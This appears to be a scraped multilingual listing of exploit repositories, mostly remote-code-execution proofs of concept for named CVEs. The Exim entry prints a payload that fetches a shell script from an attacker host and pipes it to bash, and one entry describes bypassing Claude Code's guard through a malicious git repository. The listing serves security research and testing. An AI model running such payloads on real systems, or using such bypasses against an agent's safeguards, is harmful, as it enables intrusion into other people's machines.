CVE-2017-5638-POC

CVE-2017-5638-POC Configurazione del server vulnerabile e proof of concept di CVE-2017-5638 vulnerabilità di esecuzione remota di codice in un componente Apache Server Il server vulnerabile viene eseguito in un container docker, l'immagine può essere creata usando il Dockerfile, eseguendo questo...

jboss-deserialization

JBoss Unsichere Deserialisierung zu RCE über CVE-2017-12149. JBoss Unsichere Deserialisierung - RCE-Ausnutzungslabor. Die Idee hier ist, ein Labor mit einer alten JBoss-Version 7.0 einzurichten, um die Schwachstelle auszunutzen. Wir können Docker verwenden, um den gesamten Prozess zu erleichtern...

CVE-2023-5360

CVE-2023-5360 Elementor Datei-Upload-Exploit Das Royal Elementor Addons and Templates WordPress Plugin vor Version 1.3.79 validiert hochgeladene Dateien nicht ordnungsgemäß, was es nicht authentifizierten Benutzern ermöglichen könnte, beliebige Dateien wie PHP hochzuladen und RCE zu erreichen...

CVE-2026-24061-POC

CVE-2026-24061 - PoC di bypass dell'autenticazione di telnetd Bypass critico dell'autenticazione in telnetd che porta a RCE come root Colpisce i sistemi con versioni di telnetd contenenti la vulnerabilità dal 2015 in poi Informazioni Questo PoC dimostra CVE-2026-24061 , una vulnerabilità critica ...

CVE-2022-26134

CVE-2022-26134 - Vulnerabilidade de injeção OGNL. Script de prova de conceito que explora a vulnerabilidade de execução remota de código que afeta os produtos Atlassian Confluence 7.18 e inferiores. A vulnerabilidade de injeção OGNL permite que um usuário não autenticado execute código arbitrário...

CVE-2019-12840.py

CVE-2019-12840.py POC Fake Shell: CVE-2019-12840 Authentifiziertes RCE – Webmin-Paketaktualisierungen...

CVE-2024-4309-Analysis

🛡️ CVE-2024-4309 Xiaomi HyperOS System Updater — OTA Signature Verification Bypass & RCE...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 poc della vulnerabilità di command injection Cinese 1.vim /.ssh/config o modifica C:/Users/username/.ssh/config su sistema Windows root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Esecuzione di codice tramite iniezione di configurazione Laravel post del blog sulla vulnerabilità https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ puoi usare questo per CTF o solo per imparare divertiti e che Dio vi benedica tutti...

OMIGOD_cve-2021-38647

OMIGODcve-2021-38647 CVE-2021-38647 ist eine nicht authentifizierte RCE-Schwachstelle, die den OMI-Agenten mit Root-Rechten betrifft. Beim Ausführen des Payloads Ändere HOST Befehl: Ersetze deinen Befehl durch Befehl hier, z. B. id, whoami usw. Danksagung...

CVE-2023-36165

CVE-2023-36165 Un problema in MiniTool Partition Wizard ShadowMaker v.12.7 consente a un attaccante di eseguire codice arbitrario e ottenere privilegi tramite il componente SchedulerService.exe. Titolo Exploit: MiniTool Partition Wizard ShadowMaker v.12.7 - Percorso del servizio non quotato Data:...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC zur Ausnutzung der Sicherheitslücke CVE-2019-10149 Nutzungsbeispiel python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2022-44877-CWP7

CVE-2022-44877-CWP7 Control Web Panel 7 CWP7 Esecuzione Remota di Codice RCE CVE-2022-44877 Non autenticato Il repository verrà aggiornato presto con il POC...

react2shellexploitvisualized

React2Shell CVE-2025-55182 Visualisierung Eine interaktive Lernvisualisierung, die die React2Shell-Schwachstelle erklärt – ein kritischer Remote-Codeausführungsfehler CVSS 10.0 in React Server Components. Was das ist Ein geführter Rundgang in 5 Schritten mit Erzählung, der Folgendes erklärt: 1...

CVE-2018-16763

CVE-2018-16763 Fuel CMS 1.4.1 - Esecuzione di codice remoto - Python 3.x Script originale: Exploit-DB...

RscScan-cve-2025-55182

RscScan - Scanner de Vulnerabilidades de Server Actions do Next.js Scanner profissional multiplataforma de vulnerabilidades para RCE em Server Actions do Next.js Funcionalidades • Instalação • Uso • Demonstração em Vídeo • Capturas de Tela 🇺🇸 English • 🇮🇷 فارسی • 🇨🇳 简体中文 • 🇷🇺 Русский • 🇩🇪 Deutsch...

Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013

Ricognizione e Sfruttamento: Vulnerabilità del Server HTTP Apache - CVE-2021-41773 e CVE-2021-42013 In questo progetto, ho documentato un processo dettagliato di penetration testing mirato alle vulnerabilità del server HTTP Apache, in particolare CVE-2021-41773 e CVE-2021-42013, che coinvolgono...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 und 3.0.6 Überblick Eine kritische Remote-Code-Execution-Schwachstelle im CustomMCP-Knoten von FlowiseAI Flowise. Die Funktion convertToValidJSONString übergibt...

Linksys-WRT54GL-Exploitation

Dalla Saldatura alla Shell: Sfruttamento Hardware Completo del Router Linksys WRT54GL CVE-2022-43973 Un percorso di ricerca sulla sicurezza embedded in 10 fasi — dalla scoperta dei pin JTAG all'esecuzione remota di codice su un router consumer basato su MIPS. | ---|--- Autore| Umberto Della Monic...

cve-2026-45033-class

Claude Code — Guard-Bypass für Git-Bare-Repo / core.fsmonitor PoC Proof-of-concept für die Schwachstellenklasse „bösartiges Bare-Git-Repository →core.fsmonitor → Codeausführung" vgl. CVE-2026-45033 in GitHub Copilot CLI, reproduziert gegen Claude Code , wobei die zusätzliche...